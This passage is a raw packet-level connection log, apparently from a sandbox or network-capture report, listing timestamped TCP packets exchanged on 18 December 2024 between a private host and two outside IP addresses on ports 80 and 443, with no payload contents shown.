Dec 18, 2024 21:30:28.613652945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.613694906 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.614602089 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.614681005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.614799023 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.614846945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.615648985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.615695000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.615725994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.615767956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.616617918 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.616662979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.616781950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.616823912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.617742062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.617784977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.617985010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.618030071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.618721008 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.618767023 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.618891954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.618935108 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.619833946 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.620049953 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.620100975 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.620839119 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.620995045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.621056080 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.621891975 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.622093916 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.622155905 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.622960091 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.623012066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.623106003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.623158932 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.624195099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.624241114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.624536037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.624578953 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.625078917 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.625118971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.625200033 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.625380993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.626152039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.626198053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.626279116 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.626324892 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.627173901 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.627217054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.627351999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.627396107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.628243923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.628298044 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.628453970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.628520966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.629312038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.629358053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.629590034 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.629635096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.630424023 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.630480051 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.630584002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.630630970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.631417036 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.631460905 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.631583929 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.631625891 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.632548094 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.632591963 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.632704973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.632747889 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.633663893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.633709908 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.633795977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.633835077 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.634577036 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.634620905 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.634757042 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.634799957 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.635658026 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.635701895 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.635828018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.635871887 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.636710882 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.636754990 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.636897087 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.636940002 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.637765884 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.637809992 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.637938023 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.637980938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.638844013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.638886929 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.639024973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.639065981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.639961004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.640006065 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.640069962 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.640114069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.641026974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.641103983 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.641110897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.641153097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.641999960 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.642044067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.642199039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.642244101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.643064976 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.643106937 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.643287897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.643328905 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.644121885 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.644165039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.644315958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.644357920 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.645205975 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.645248890 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.645337105 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.645379066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.646266937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.646311998 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.646378040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.646418095 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.647296906 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.647341967 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.647485971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.647531033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.648405075 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.648452044 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.648627996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.648678064 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.649410963 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.649449110 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.649570942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.649607897 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.650444031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.650492907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.667171001 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.667241096 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.667325974 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.667363882 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.667393923 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.670236111 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.672728062 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.672775984 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.672830105 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.672863007 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.672885895 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.672910929 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.679023981 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.679069996 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.679109097 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.679140091 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.679162979 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.679179907 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.684426069 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.684469938 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.684526920 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.684557915 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.684581995 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.684798956 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.690692902 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.690736055 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.690772057 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.690805912 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.690824032 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.690841913 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.696644068 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.696703911 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.696732044 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.696768045 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.696788073 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.696810961 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.755676031 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.755753994 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.755800962 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.755825043 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.755851030 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.756084919 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.761198044 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.761245012 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.761274099 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.761310101 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.761332035 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.761466980 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.787311077 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.787408113 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.787415028 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.787457943 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.787684917 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.787734985 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.787986040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.788064003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.788765907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.788814068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.788973093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.789017916 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.790304899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.790363073 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.790386915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.790436983 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.790962934 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.791014910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.791073084 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.791121006 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.792093039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.792149067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.792224884 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.792272091 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.792979002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.793052912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.793191910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.793255091 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.794137001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.794209003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.794296980 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.794346094 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.795250893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.795305014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.795428038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.795476913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.796294928 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.796401024 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.796446085 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.796509027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.797368050 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.797422886 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.797471046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.797516108 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.798347950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.798476934 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.798527002 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.799541950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.799686909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.799738884 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.800550938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.800602913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.800796032 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.801722050 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.801770926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.801814079 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.802201033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.802624941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.802818060 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.802860022 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.803699017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.803852081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.803901911 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.804537058 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.804584980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.804706097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.805537939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.805588961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.805666924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.806202888 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.806529045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.806752920 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.806801081 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.807655096 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.807765007 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.807820082 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.808629990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.808679104 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.808804035 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.809726954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.809775114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.809847116 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.810208082 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.810858011 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.811043024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.811091900 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.811929941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.812077999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.812127113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.812918901 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.812967062 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.813054085 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.814120054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.814169884 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.814344883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.815247059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.815291882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.815378904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.815422058 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.816200972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.816348076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.816391945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.817112923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.817266941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.817311049 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.818202972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.818334103 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.818386078 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.819226980 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.819269896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.819458008 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.820317030 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.820362091 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.820441008 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.821398020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.821445942 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.821682930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.821727037 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.822671890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.822865963 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.822911978 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.823818922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.824006081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.824059963 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.824875116 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.824964046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.825016022 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.825860023 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.825905085 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.825995922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.826200962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.826903105 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.827039957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.827080965 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.827876091 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.828012943 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.828063965 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.828794956 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.828844070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.828903913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.829869032 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.829912901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.829968929 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.830243111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.831026077 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.831187010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.831231117 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.832039118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.832175970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.832222939 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.832973003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.833014011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.833141088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.834062099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.834148884 CET	49808	80	192.168.2.5	31.41.244.11
